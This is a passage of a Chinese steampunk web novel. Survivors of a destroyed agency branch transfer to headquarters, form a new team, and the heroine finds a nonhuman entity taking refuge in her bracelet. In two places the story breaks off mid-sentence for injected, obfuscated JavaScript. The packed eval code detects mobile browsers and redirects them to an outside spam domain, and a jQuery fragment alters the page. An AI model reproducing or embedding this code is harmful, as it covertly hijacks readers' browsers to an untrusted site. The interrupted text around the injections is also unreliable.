莫顿局长猛地抬起头来,眼神惊慌:“是谁?” 亚瑟说:“应该是阿尔法小队,我昨天中午就给他们发了电报。” “发……发得好。你做得很好,索恩。” 他们走出门外,看到三辆他们从未见过的蒸汽装甲车停在了安全屋的门口,车体铆接着厚重的钢板,车窗狭小,仿佛三头蛰伏的钢铁怪兽,与周围灰扑扑的建筑群格格不入。 车门打开,走下的是五个身着RBAP总部黑色精英制服的调查员。 为首的男人身材高大,金发打理得一丝不苟,眼神却像淬了冰的刀锋,锐利、冰冷,不带任何感情。 安弥在看到他的瞬间,就认出了他——那双灰色的眼睛,和维克多·琼斯如出一辙。 他就是维克多的弟弟沃尔特·琼斯,RBAP新阿尔比恩总部战斗力最强的阿尔法小队的队长。 莫顿局长立刻谄笑着迎了上去。 来人却看都没看他,亮了下自己的证件,公事公办地说:“我是阿尔法小队指挥官,沃尔特·琼斯。奉总部命令,接手灰港分部遇袭事件的全部调查权限。” 沃尔特的目光快速地扫过莫顿局长、亚瑟,落在了站在他俩身后的安弥身上,然后又收了回来。 “根据总部的最终评估,灰港分部已彻底失去战略与收容价值。所有资产将被清算,此地将被永久性物理封锁。安培风指挥官及所有牺牲人员的功绩将被记录在案,追授‘帝国守护者’勋章。” “‘失去价值’?”亚瑟的声音因为极力压抑的愤怒而微微颤抖,“琼斯指挥官,我的同事,我的导师……他们用生命守护的一切,就要这样被放弃吗?灰港还有人,还有我们,我们可以重新建设灰港,我们不能接受……” 莫顿局长尖叫着打断了他:“亚瑟!不得对琼斯指挥官无礼!” “他们的牺牲将被永远铭记,索恩调查员。”沃尔特的声音没有丝毫波动,“我只是在陈述总部的决议。情感,不能影响战略判断。至于你们几位幸存者,总部给出了两个选择。” “第一,领取一笔丰厚的抚恤金与终身养老金,荣誉退役。” “第二,调往新阿尔比恩总部,重新入职。但我要提醒你们,”他的目光再次扫过安弥,“总部可不会像你们这种偏远分部一样安逸。” 他低头看了下怀表,又快速合上,“你们还有四个小时可以考虑。我的小队会在城东的皇后之冠酒店设立临时指挥部。下午两点,我需要各位到那里接受正式的问询和测谎调查。我希望到时候能听到各位的答案。” 最后,他的目光再次落在了安弥身上:“你就是安弥吧?我的兄长,维克多·琼斯,一名总部的精英指挥官,和整个灰港分部的战斗人员都牺牲了,而你,一个刚刚完成晋升考核的见习调查员,却活了下来。我需要你给我一个合理的解释。” “琼斯指挥官,”亚瑟立刻挡在了安弥面前,已是难掩自己的愤怒,“安弥是本案的受害者和重要证人,不是嫌犯。请注意您的言辞。” “索恩调查员,”沃尔特冷冷地看着他,“在我的调查结束之前,这里的每一个人,都是嫌犯。我只是在履行我的职责。” “告辞。”说罢,便转身重新进了装甲车里,装甲车启动,发出了齿轮与活塞的巨大噪音,咆哮着离开了。 “真是一群傲慢的家伙!”莫顿局长忿忿,“索恩,我要回家换身衣服,休息一下。下午皇后之冠酒店,我要严厉地谴责他们的无礼!” 说罢,便扭动着肥胖的身体离开了。 莫顿局长离开不久,纪元就重新出现在了安全屋。 亚瑟说:“纪元,你不在的时候阿尔法小队来过了。需要我们下午两点去皇后之冠酒店接受问讯。灰港分部……已经被放弃了,我们只有两个选择,领取抚恤金离职,或者去总部任职。问讯时我们需要给琼斯指挥官一个答案。” 纪元的目光落在坐在桌旁发呆的安弥上。她眼神空洞,不知道在想些什么。他现在力量大减,不在安弥手串里的时候,已经没有办法读取到她的心声了。 “亚瑟,我不会离开。对我来说,这个世界上有趣的事情不多。我会和你们在一起。” ……有趣?真是奇怪的表达方式。亚瑟微微疑惑,但没有细思,伸手拍了拍纪元的肩膀:“好的。” 当他们到达皇后之冠酒店的时候,他们没有在这里看到莫顿局长的身影。 “莫顿局长已经来过了,”沃尔特·琼斯说,“他选择了离职拿抚恤金。聪明的选择,那笔抚恤金够他下半辈子衣食无忧了。你们呢?” 亚瑟说:“我们选择去总部。” 沃尔特的眼睛移到了安弥身上:“你也选择去总部?” 安弥迎向了他的眼睛,点了点头:“是的,琼斯指挥官。” 沃尔特嘴角弯了起来,却毫无笑意:“很有勇气。不过我要提醒你,如果你去了但没有能力留下来,到时候再被开除,可就没有抚恤金了。你确定吗?” 亚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16536765|186594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瑟捏紧了拳头,正要出声维护,却听到安弥开口了。 “琼斯指挥官,我知道您正在为失去了您的家人而感到痛苦,我所感受到的痛苦丝毫不比您少。” 安弥的声音不大,却异常清晰。 “我是孤儿,灰港分部就是我的家,灰港分部的成员们就是我的家人。” “所以对我来说,只有一个选择,哪怕为之付出生命,我也在所不惜。” “我一定要手刃仇人,为我的家人们报仇。我,绝不会离开RBAP。” 听完安弥的一席话,沃尔特眼中的坚冰终于融化了,流露出了一丝失去家人的痛苦,又有了一些对眼前女孩的刮目相看。 接下来的问询进行得很顺利。虽然沃尔特还是公事公办的语气,却没有再为难安弥。 不知道是不是纪元暗中做了什么,原本让安弥有些忐忑的测谎调查也没有出纰漏,她和纪元都没有任何问题地通过了。 最后,阿尔法小队的随行心理咨询师还对他们进行了专业的心理评估,才将他们放走了。 --- 在阿尔法小队完成对灰港分局的初步调查后,因为RBAP工作的敏感性质,不能让家属们看到他们的死状,亚瑟、安弥和纪元亲手将灰港的家人们一一安葬了,才逐个将抚恤金送到了他们的家人手上。 托马斯的妻子在看到亚瑟和安弥的瞬间,眼圈就红了。 她转身将孩子们赶去了屋里,又重新走了出来。 她的声音哽咽:“什么都不用说了……我知道了。” 然而,就在亚瑟和安弥转身走的时候,她突然叫住了他们,“等一下!……告诉我,他……他是怎么死的……” 安弥眼泪瞬间掉了下来,连忙背过身去不再看她。 亚瑟艰难地说:“是……是煤气管道爆炸……” 安德森太太泪眼朦胧,连连摇头,“不要骗我,我要知道真相……” 亚瑟迟疑了半天,最后还是说:“真的是……” “不要说了!”安德森太太突然打断了他,“你们走吧!快走!我不想再看到你们!” --- 史密斯先生是一个瘦削苍白的男人。 他沉默地接过了抚恤金,突然问了句:“你就是安弥吗?” 安弥点了点头。 “我知道你,玛格丽特经常跟我提起你,”史密斯先生伸出手想抚摸一下她的头,最后又收了回来,“好孩子,好好活下去。” 说罢,便转身走回了屋子里。 --- 老约翰是个独身的老人,从年轻时就入职了灰港分部,成为了一名调查员。后来受伤也没有离开,选择留下当了门卫。 他自始至终没有成家,平时就住在灰港分局里。 安弥将他安葬之后,把他送给自己的幸运银币穿了个孔,用红线穿起来戴在了自己的脖子上。 --- 再见,灰港的家人们。 ……我们,出发了。 --- 历史齿轮转动的开始,总是悄无声息的。 它或始于一次灵魂的迁徙,或始于一场无声的葬礼,或始于幸存者眼中那最初的、不肯熄灭的火光。 此后所载,皆为实录;凡目不可及、笔不能至者,皆以沉默示之。 ——《第七日书·卷首》 12. 新阿尔比恩 给灰港分部遇难者的家人们发完抚恤金的当天晚上,亚瑟、安弥和纪元便拖着麻木的身体来到了空旷的灰港火车站。 灰港的火车站与其说是个“站”,不如说是一个巨大的、半露天的棚屋。 被熏得漆黑的粗大钢铁支架支撑着一片铁皮屋顶,都已经被煤烟和海风腐蚀得斑驳不堪。 屋顶之下,只有两条孤零零的铁轨,在昏黄的煤气灯光下泛着油腻冰冷的光。空气中弥漫着一股铁锈的味道,混杂着海水的咸腥和燃烧不充分的煤渣气味,仿佛永远也不会散去。 亚瑟、安弥和纪元,就是这个深夜站台上全部的旅客了。出乎安弥意料的,纪元也“回家”拿了一个体积不大的行李箱。她真的很好奇里面装了什么。 等了许久,才看到一辆只有三节车厢的蒸汽火车,拖着浓重呛人的黑烟姗姗来迟地停在了他们的面前。 亚瑟先一步跨了上去,回过身向安弥伸出了手,将她稳稳地带上了车厢。 纪元跟在最后,漆黑的眼睛落在了亚瑟牵着安弥的手上,挑了挑眉毛,没有说什么。 狭小逼仄的车厢里,光线昏暗,空气污浊。 座椅是老旧的墨绿色丝绒材质,上面沾着不知名的污渍,散发出一股淡淡的霉味。窗户的边角积着厚厚的灰尘,用手指一划就能留下一道明显的痕迹。 纪元选了一个靠里的位置,正襟危坐,坐下的瞬间就入定般地闭上了眼睛。 安弥和亚瑟安置好行李,又脱下外套挂在了一旁的黄铜衣帽钩上,一起坐到了他的对面。 火车在一声悠长的汽笛声中,缓缓地开动了。 车厢里没有人说话,沉重而富有节奏的铁轨撞击声成了这个狭小空间里唯一的声响。 安弥将头轻轻地抵在了冰冷的的车窗玻璃上,车窗玻璃正随着火车的颠簸而震动。 她没有因此把头挪开,只是静静地看着窗外灰港那些熟悉的低矮建筑正在飞快地向后倒退。 “安弥。”不知过了多久,亚瑟的声音在耳畔响了起来。 安弥回过头。 车厢里昏黄的灯光将亚瑟英俊坚毅的脸庞照出了一丝柔软的轮廓,他的蔚蓝的眼睛此刻正一瞬不瞬地看着她。 “靠着我睡一会儿。”他说,“这几天你都没怎么休息,到了新阿尔比恩,还有很多事情要做。” 安弥正要回答,就看到对面的纪元缓缓睁开了他那双仿佛能吸纳一切光线的黑眸,带了一丝探究般的困惑看了过来。 安弥感到一阵头疼,直觉告诉她,如果她真的靠到了亚瑟的肩膀上,纪元绝对会问出什么惊天动地、完全超出她想象力的问题来。 光是想到这些可能性,安弥就感觉自己的太阳穴突突直跳。 于是,她几乎是下意识地挺直了自己的脊背,对着亚瑟露出了一个礼貌的微笑,轻轻摇了摇头:“谢谢你,亚瑟,我现在不困,想再看看窗外的风景。” 亚瑟的眼睛里闪过一丝不易察觉的心疼,但他还是体贴地点了点头,没有再多说什么。 车厢内,又恢复了那种被“哐当、哐当”的铁轨撞击声所包裹的压抑的沉默。 安弥将视线重新投向了窗外。 火车正穿过一片广袤的、被夜色浸透的丘陵地带。 黑黢黢的山峦在远处起伏,像一只只匍匐在暗夜中的巨兽。偶尔能看到山腰处有几点零星的灯火,在黑暗中明明灭灭。 不知过了多久,当安弥的眼皮开始因为疲惫而沉重得几乎合上时,车厢的颠簸感似乎变得平缓了一些。 铁轨撞击的声音依旧存在,但背景音里开始混入了一种更加复杂的、持续的轰鸣。 安弥抬起头再次望向窗外。 地平线的尽头不再是纯粹的黑暗,一片巨大诡异的、如同铁锈般的暗红色光晕,将天际线的云层烧灼得轮廓分明。 那片光晕之下,是连绵不绝的、如同山脉般的工厂区。一根根如同黑色利剑般的巨大烟囱刺破了夜空,顶端喷吐着混杂着火星的浓烟。 建筑物的轮廓变得越来越高大,越来越密集。哥特式的尖顶、古典式的穹隆、以及更多安弥不认识的工业建筑挤压在一起,层层叠叠地向上生长,仿佛要争抢那片被煤烟污染成灰色的天空下最后一丝稀薄的空气。 安弥屏住了呼吸。 这就是新阿尔比恩。 阿尔比恩联合王国的心脏。 就在这时,火车发出了一道低沉而悠长的鸣笛声,速度开始缓缓地降了下来。 亚瑟站起身,从黄铜行李架上取下了他们的行李箱。 “准备一下,”他和安弥一样,也是几乎一夜都没合眼,声音因此显得有些沙哑,“我们到了。” 伴随着一声巨大的蒸汽泄压的嘶声和一阵剧烈的铁轨撞击的震动,火车终于停稳了。 亚瑟熟练地拉开了火车沉重的铁门,一股混杂着浓重煤烟与金属铁锈味的气流瞬间倒灌了进来,冲散了车厢内浑浊的空气。 冰冷潮湿的气流让安弥打了个寒颤,她跟在亚瑟的身后小心翼翼地踏上了这片陌生的站台。 然后,她被眼前的景象彻底震撼了。 如果说灰港的车站是一个简陋的棚屋,那么新阿尔比恩火车站就是一座由钢铁、玻璃和巨石共同构筑的宏伟神殿。 巨大到几乎望不到边际的铸铁穹顶,像一张撑开了整个天空的巨网,笼罩在了所有人的头顶。 穹顶之上镶嵌着无数块巨大的玻璃,只是它们早已被厚厚的煤灰覆盖,透过的天光也因此变得苍白而稀薄,折射出一道道惨白的光柱。 无数巨大的、裸露在外的黄铜管道和钢铁支架,像远古巨兽的血管一样遍布整个穹顶和四周的墙壁。数十根雕刻着古典花纹的巨石立柱支撑着这座庞大的建筑,分割出数十条宽阔的站台。 远处是十几辆造型各异、比他们乘坐的火车庞大和华丽得多的蒸汽列车,发出高低错落的汽笛声。 头顶是巨大的的车站主钟,那根比人还要高的黄铜秒针正随着“咔哒、咔哒”的齿轮咬合声,一格一格地跳动。 一个带着金属质感的机械女声通过黄铜广播器正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16536766|186594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在报站,冰冷的声音在整个车站上空回荡:“由凛冬公国始发的永夜号特快列车,已抵达第7站台。由凛冬公国始发的永夜号特快列车,已抵达第7站台。” 穿着考究礼服的绅士、戴着黑色面纱的贵妇、提着公文包的文员、以及穿着各式制服的军人……行色匆匆地在他们身边穿行。 安弥站在这片宏伟嘈杂、又无比冷漠的钢铁森林中,感觉自己是如此地渺小。 “走吧。”亚瑟的声音将她从失神中唤醒。亚瑟小时候是在新阿尔比恩长大的,成年后也经常跟着安培风来新阿尔比恩办事,早已习惯了这一切。 安弥回过神,快步跟了上去。 纪元漆黑的眼眸平静地扫过头顶那巨大的钟面,扫过结构复杂的穹顶支架,扫过行色匆匆的、表情麻木的人群,他的表情没有任何变化,静静地跟在了他们两个的身后。 走出车站,安弥看到了一个更加令人窒息的新阿尔比恩。 高耸入云的建筑切割了天空,巨大的黄铜管道像丑陋的藤蔓般攀附在几乎所有建筑的外墙上,不时有白色的蒸汽从管道的接缝中嘶嘶地冒出。 空气中飘着细密的煤灰构成的薄雾,即便是白天,整座城市也笼罩在一种压抑的阴霾之下。 “先找个地方,吃点东西。” 亚瑟带着他们拐进了车站旁边一条终年不见阳光的小巷里,在一个只有三四张桌子的早餐铺子停了下来。 “三份肉派,三杯热茶。”亚瑟熟练地点单。 很快,三份用油纸包着的滚烫的肉派就送了上来,散发出浓郁的油脂香气,让人食指大动。红茶则是用厚重陶杯装着的,颜色深得发黑,让人不由皱眉,怀疑这究竟能否入口。 安弥咬了一口肉派,发现虽然闻起来很香,但吃起来却很油腻。这时旁边这杯让人连碰都不想碰的红茶就成了最大的救星。 她抬头看了一眼纪元,好奇他对着这样的食物会有什么反应。 没想到他竟像尝不到味道般,面色平静地一口一口地“享受着”眼前的食物,不时佐以一口红茶,举止中甚至透出了几分与这逼仄昏暗的环境格格不入的优雅…… 安弥发现自己似乎永远预判不到纪元的反应。算了不想了,于是继续对着手上的肉派埋头苦干。 一顿沉默的、只为了填饱肚子的早餐,就这样很快就结束了。 他们坐上了巷口的一辆出租马车再次上路。不同于灰港的马车,这里的马车不是用马匹,而是用蒸汽驱动的。与其说是马车,外观更接近现代的电动三轮车了。 最终蒸汽马车在一栋宏伟庄严的政府大楼前停了下来。 大楼的门口有十几级宽阔的台阶,台阶之上是四根高大冰冷的科林斯石柱。 两名荷枪实弹的的守卫穿着深蓝色警卫制服,面无表情地站在石柱的阴影下。 大楼的正上方,悬挂着一块由黄铜铸造的巨大牌匾,上面用典雅锋锐的字体雕刻着一行大字:皇家古物保护局。 这里,就是对内对外两套截然不同身份的RBAP总部了。 13. 入职总部 经过严格的身份认证,亚瑟、安弥和纪元三人终于进到了RBAP的内部。 RBAP的大厅高大空旷,穹顶高得望不到顶,光线从那些遥远的巨大天窗中投下,在空气中悬浮的微尘里折射出一道道冰冷而稀薄的光柱。 脚下是擦得光可鉴人的大理石黑白方格地面,冰冷坚硬,每一步踩上去都会发出清脆的回响。 偶尔有几个穿着笔挺黑色制服的文职人员,抱着厚厚的文件目不斜视地飞快走过。 安弥无比清晰地意识到,她真的离开灰港分部那个总是飘着咖啡和苹果派香气的家了。 由于常来办事,亚瑟对这一切早已习惯。他径直走向了大厅中央的圆形接待台。 接待台后坐着一个面容严肃、戴着金丝眼镜的中年女人。 她头都没抬,用一种公事公办地语调说:“身份证明。来访事由。” 亚瑟将一份盖有红色印章的调职文件和他们三人的身份徽章从窗口递了进去。 女人接过文件,一页一页地翻过确认,又将徽章放在了旁边的一个泛着冷光的金属仪器上验证真伪。 确认无误后,她从旁边抽屉里拿出了一个临时的电梯卡,和他们的文件徽章一同递了出来:“入职去四楼413马库斯主管那里报道。” 她对他们的来历毫无好奇,只有一种完全程式化的处理态度。说完便低下了头,继续处理自己手头的文件,再也没有看他们一眼。 亚瑟对接待员那冰冷的态度习以为常,他接过文件和电梯卡,转身对安弥和纪元说:“走吧,我们去四楼。” RBAP的电梯是一个需要手动拉开栅栏门的黄铜笼子,刷完电梯卡,整个轿厢摇晃了一下,才开始慢吞吞地上升。 电梯在四楼停下,门一打开,一股与楼下那冰冷空旷的氛围截然不同的、温暖的气息便扑面而来。 空气里飘着一股淡淡的红茶香气,还混杂着一丝刚刚出炉的、带着黄油香气的饼干的甜味。 走廊铺着厚厚的深红色地毯,墙壁是温暖的米色,上面挂着几幅描绘着宁静田园风光的油画。 “413室就是这里。”亚瑟在一扇深棕色的门前停了下来,上面挂了一块黄铜门牌,用漂亮的哥特体写了“413”。 说罢,他便轻轻敲了敲门。 “请进。”门里传来一个温和醇厚的男声。 亚瑟推开门,安弥和纪元跟在他的身后,看到了那个坐在宽大办公桌后的男人。 他大约四十多岁,身材微胖,棕色的头发梳理得一丝不苟,带着发油的光泽。他穿了一身最标准的文职马甲和衬衫,戴着一副金丝眼镜,脸上挂着和煦而慈祥的微笑。 一看到亚瑟,他立刻站起身从办公桌后绕了出来,面露惊喜:“亚瑟!我的孩子,你终于来了!” 他张开双臂,给了亚瑟一个结实的拥抱,“灰港的事情我已经知道了。这些秘密教团的人真是丧心病狂,他们必须得到惩罚。自从听说了这件事,我就一直很担心你,现在看到你好好地出现在这里,马库斯叔叔总算放心了。” 他松开亚瑟,温暖而干燥的手轻轻地拍了拍亚瑟的肩膀,然后把目光转向了安弥和纪元。 “想必,这两位就是你在电报里提到的另外两位幸存者吧?”他微笑着对安弥伸出手,“你好,孩子。我叫马库斯·克雷格,是这里的后勤主管。你可以叫我马库斯叔叔。” 安弥下意识地伸出手,与他的手掌握在了一起。他的手干燥温暖,一种久违的、属于长辈的亲切感,让她那颗自灰港覆灭后就一直紧绷着的心不由自主地放松了一丝。 “您好,克雷格先生。我是安弥。” “叫我马库斯叔叔就好。”他笑着纠正道,然后看向纪元,“这位想必就是纪元调查员了。我对你的档案有印象。欢迎来到总部。” 纪元平静地点了点头,没有说话。 马库斯并不在意纪元的冷淡,热情地将他们引向一旁的会客沙发,那里的小茶几上正放着一壶冒着热气的红茶,和一盘烤得金黄酥脆、散发着浓郁香气的黄油饼干。 “坐,都坐下吧。”他一边为他们倒茶,一边用一种充满关切的语气说道,“我知道,你们刚刚经历了一场可怕的噩梦。总部那些官僚的决定,我很抱歉。但请你们相信,逝者的功绩,我们每一个人都不会忘记。” 他将一杯热气腾腾的红茶递到安弥手中,眼睛里充满了真诚的关怀。 “孩子,别怕。”他说,“从今天起,这里就是你们的新家了。无论遇到什么困难,都可以来找马库斯叔叔。” “我认识你的父亲,安培风。”他看着安弥,声音里带着一丝怀念,“啊,安……他是个了不起的人,虽然这些年联系不多,但他一直是我非常敬佩的一位同僚。我们年轻的时候,在总部还一起喝过酒呢。” 安弥端着茶杯的手微微一颤,从踏入这座冰冷建筑之后就一直悬着的心终于得到了一丝喘息。 那杯醇厚的红茶和香甜的饼干,似乎真的有某种魔力,抚平了她连日来紧绷的神经。 马库斯熟练地为他们办理好了入职手续,将三枚崭新的调查员徽章和三把对应新宿舍的黄铜钥匙,交到了亚瑟手中。 “好了,孩子们。手续都办完了。” 他微笑着站起身,从办公桌上拿起一份文件,走到了他们面前。“你们归属于城市响应科,科里的主管是哈里森先生。他那里刚好有两个很好的孩子还没有队伍,他们将和你们一起组成一个小队,由亚瑟你来担任这个小队的队长。菲尼克斯家族的维多利亚小姐担任副队长。她和你一样,年纪轻轻就成为精英调查员了呢。” “你们现在可以去哈里森主管那里报道了。他的办公室是三楼的307室,我已经打好了招呼,他正在等你们。” 亚瑟接过文件,“谢谢马库斯叔叔。” 马库斯笑着点了点头:“记住,无论遇到什么问题,都可以来找马库斯叔叔。” 告别了马库斯,三人乘电梯来到了三楼。 与四楼那飘着红茶香气的宁静不同,三楼的氛围显得冰冷而肃杀。走廊里不时有穿着黑色战斗制服调查员行色匆匆地跑过,空气中弥漫着一股淡淡的硝烟 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走出307室,安弥能清晰地感觉到亚瑟身上那股压抑着的薄怒。但在这个等级森严的地方,他们没有任何可以反抗的余地。 当他们找到那间位于地下的办公室时,才发现它是一个废弃已久的档案储藏室。 空气中弥漫着尘埃和旧纸张的霉味,只有几盏电石灯在天花板上发出昏暗的微光,勉强照亮这个破败的空间。墙边堆满了落满灰尘的文件箱。 然而,在这片破败之中,却有两个格格不入的身影。 一个面容精致的女子正坐在一张唯一看起来还算干净的桌子旁。 她拥有瓷白的皮肤和紫焰般的眼睛,一头如火焰般耀眼的赤红色长发,用黑色的丝带在脑后高高地束起了一个马尾。 她身穿一身剪裁合体的黑色战斗服,此时正用一块丝绸手帕专注地地擦拭着一柄造型华丽的银色刺剑。 即便只是坐着,她的背脊也挺得笔直,对周围的污秽视而不见,仿佛自带与这个世界隔绝的、骄傲的结界。 而在房间的另一个角落,坐着一个面容苍白的棕发青年,他已经在这里建立起了自己的“领地”。 他的面前是一张堆满工具的工作台,上面摆满了各种奇形怪状的零件、烧杯和闪烁着微光的炼金装置。 此时他正戴着一副护目镜,全神贯注地用一把精巧的镊子,夹起一根比发丝还细的金属线,试图将其接入一个复杂的黄铜仪器中。他沉浸在自己的世界里,完全没有留意到有人进来了。 亚瑟清了清嗓子,打破了这诡异的沉默。“你们好。我是来自灰港分部的亚瑟·索恩,这两位是我的同伴,安弥和纪元。接下来,我们就是队友了。” “维多利亚·伊格尼斯·菲尼克斯。”红发女人连头都没抬,只是报出了自己的姓名,便继续擦拭自己手上的银剑了。 棕发青年听到了声音才知道来人了,摘下了护目镜,露出一双如同琥珀般沉静的眼眸。 他对着三人点了点头,声音温和:“你们好,我是伊桑巴德·卡斯比安·布莱克伍德。你们可以叫我芬恩。” 14. 夜访 芬恩的话音刚落,就听到他面前的那个黄铜仪器,突然发出一阵急促的嗡鸣。 “——嗡…嗡…嗤……砰!!” 连接仪器的几根导管瞬间变得赤红,随即喷出一股夹杂着电弧的刺鼻浓烟,最后发出了一声爆炸声。 虽然声音不大,但安弥总觉得整个房间都跟着震动了一下。 听到异响的瞬间,亚瑟立刻本能地将安弥护在了自己的身后。 维多利亚不耐烦地皱起了眉头,抬起手挥了挥眼前的浓烟。她那双紫色的眼眸里浮现出几分鄙夷:“卡斯比安,这已经是这周第三次发生事故了。如果你连这样的事故都无法避免,我劝你离开RBAP。” 芬恩对她的挑衅毫不在意,专注地检查仪器的每一个部分。 “能量回路过载,导致B-3号线路熔断。又是这个问题。地下室的电压太不稳定了。” “我知道有一个备用电路,或许效果会好一些。”这时,角落里响起了一个声音。 亚瑟和安弥吓了一跳,这才发现办公室的角落里还坐着一个人。 他拥有着深棕色的头发和眼睛,戴了一个金丝眼镜,身着一件深色的旧呢大衣,缓缓地从座位上站了起来。 他先是看了一眼那台报废的仪器,然后才向着亚瑟他们点了点头:“你们好,我是阿克西斯·阿什伯恩,是后勤档案部的书记官。 “后勤档案部的办公室满员了,所以暂时借用一下这里的工位,已经征得克雷格主管的同意了。” 说完,他便重新坐回了自己那张被阴影笼罩的桌子后,继续在他的笔记上安静地写他的东西了。 “好的,”亚瑟拍了拍手,试图重新掌控局面,“我们先把这里收拾一下。” 说完便手脚麻利地为自己和安弥纪元清理出了三块相对干净的空间,将三本厚得像砖头一样的《RBAP员工手册》,分别放在了各自的桌上。 他开始试着用纪律去维系这支新成立的小队。他要求所有人每天准时报到,并按照命令开始研究那本厚得像砖头一样的《RBAP员工手册》。 然而,事情却并没有他想象的那么顺利。 表现最好的是安弥。她强忍着内心的焦急与悲伤,努力将自己埋进那些冰冷的文字里……但没过多久,就开始头一点一点地打瞌睡了。 至于其他人…… 亚瑟刚说完,维多利亚就离开了,当天直到下班都没有回来。 芬恩继续埋头做他的研究。亚瑟看到了芬恩那本《RBAP员工手册》的下落——他用来垫他的炼金仪器了。 纪元的行为更是让人迷惑,他把书拿了起来,用一种快到出现残影的速度,哗啦一声从第一页翻到了最后一页,耗时不超过三秒,就把书放下了。 然后他就开始用同样的方式翻档案室里的旧档案,不断地拿起、翻页、放下,看得亚瑟一头雾水。 亚瑟的嘴角不由自主地抽动了一下。他张了张嘴,最终还是选择将所有训斥的话都咽了回去。 就这样直到下班。 晚餐是在总部巨大的员工食堂里解决的。食物的种类比灰港分部丰富了很多,但空气里却再也没有了那份吵闹而温暖的家的烟火气。 RBAP分配的宿舍比灰港分部还要狭小,里面只有一室一卫,房间里摆了一张床和一张书桌。 安弥走进宿舍,只觉得一种前所未有的疲惫与孤独淹没了她。 她将自己重重地摔在床上,将被子蒙过头顶,试图用这种方式来隔绝这个冰冷而陌生的世界。 不知过了多久,就在她昏昏欲睡之际…… “咚、咚。”两声清晰、平稳的敲门声,在寂静的房间里响起。 安弥一个激灵坐了起来:“谁?” 门外没有任何回应。 她疑惑地皱起眉,以为是自己听错了。但片刻之后,两声一模一样的敲门声又一次响了起来:“咚、咚。” 安弥只好从床上爬起来,趿拉着拖鞋走到了门前,带着一丝警惕将门拉开了一条小缝。 门外站着的是纪元。 “纪元?你……诶?” 安弥正要开口询问,然而纪元根本没有给她开口的机会。 就在门被拉开的瞬间,他高大的身躯立刻化作了一缕黑雾,带着一丝古墨般的微凉气息,从那道小小的门缝中尽数没入了她手腕上的南红手串之中。 一切都发生在电光石火之间,走廊里恢复了空无一人的死寂。 只见她手腕上那十颗原本光泽温润的南红玛瑙,仿佛被注入了无尽的黑夜,光芒瞬间黯淡了下去。 安弥的大脑宕机了两秒,随即又羞又恼地在脑海中尖叫:“纪元!你干什么?!你怎么又进来了?!” 纪元的声音在她的脑海中响了起来:“我的力量亏损太多,我需要恢复力量。以后每天晚上,我都要在你的手串里休憩。” 安弥脸颊涨得通红,脑海的声音里充满了羞愤:“不!不行!” 纪元问:“为什么?” 安弥开始纠结怎么跟这个非人的存在解释。她总不能说男女授受不亲吧?那解释起来只会更麻烦…… 纪元的声音再次响起了起来:“男女授受不亲?那是什么?虽然不太理解你说的是什么意思,但准确来说,我是没有性别的,不存在你顾虑的那个问题。” 气!他又能听到自己的心声了。 纪元声音平静地给她解释:“是的。虽然我现在力量大减,在手串之外听不到你的心声,但寄宿在你的手串里的时候,还是能很清楚地听到你脑内的声音。这个手串有你灵魂的气息,似乎跟你的灵魂是绑定的。” “可是!你应该尊重我个人的意愿!”安弥被他这理所当然、仿佛无事发生的语气气到,忍不住威胁他说,“……你、你就不怕我明天就告诉亚瑟、告诉所有人,你就是那个从灰港地下七层逃出来的Keter级收容物「纪元」吗?!” 她以为这句威胁至少能让对方产生一丝忌惮。 谁知纪元的声音依旧平静得像一汪不起波澜的古井:“哦?你是说,你要去告诉他们,我这个在所有人的记忆中都早已存在,入职档案、背景资料都完美无缺的调查员纪元,就是那个本该被封印在灰 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等一下!她突然捕捉到了他言谈中的关键词,警觉了起来:“离开?离开后你要去哪里?” 纪元说:“不知道。也许是找下一个我觉得有趣的玩具吧。” “……” 安弥差点忘了,这是一个多么恶劣、多么不把人类放在眼里的存在。 下一个玩具……还不知道他会是怎样丧心病狂的玩法。她想起了灰港分局流传的那些关于收容物「纪元」的传说,每一个不怕死去尝试跟他交流的调查员们都疯的疯、傻的傻,甚至还有好几个自杀的。 安弥的脑海中进行了一番天人交战,最后说:“那你还是留在我这里吧。你就尝试征得我的许可……” “正合我意。”纪元的声音里带上了一丝愉悦。 安弥烦躁地抓了抓头发,感觉自己的脑袋乱成了一团浆糊。 太累了。 她不想再和这个总能轻易看穿她心思的怪物进行任何交流了。 她现在只想做一件事——洗个热水澡,把今天所有的疲惫都冲刷干净,然后好好睡一觉。 但很快,一个极其尴尬、也极其严峻的问题,浮现在了她的脑海里。 她的目光落在了自己那只戴着南红手串的手腕上。 安弥在脑海里用一种极其严肃和警惕的语气说道:“等一下,我现在要去洗澡。” 纪元说:“没问题,这是你的自由。” 安弥接着说:“洗澡的时候,我会把手串摘下来。” 她刻意加重了“摘下来”这三个字。 “是担心手串被水汽侵蚀吗?合理。” ……很好。他自己找到了一个完美的解释。但还是要确认一下,“那么,在我洗澡的时候,你会待在哪里?” 纪元说:“我会继续待在手串里。但你最好一洗完澡就把手串重新戴上,恐怕这个手串只有当你戴在身上的时候才能有修复我力量的作用。” 姑且、算是、糊弄过去了? 安弥松了一口气,郑重道:“很好,就这么办。一言为定。” “成交。” 15. 雪藏 第二天,安弥心里有事挂念,早早就醒来了。 “你昨晚睡得很不安稳,一直翻来覆去的。你很焦虑。”纪元的声音在脑海里响了起来。 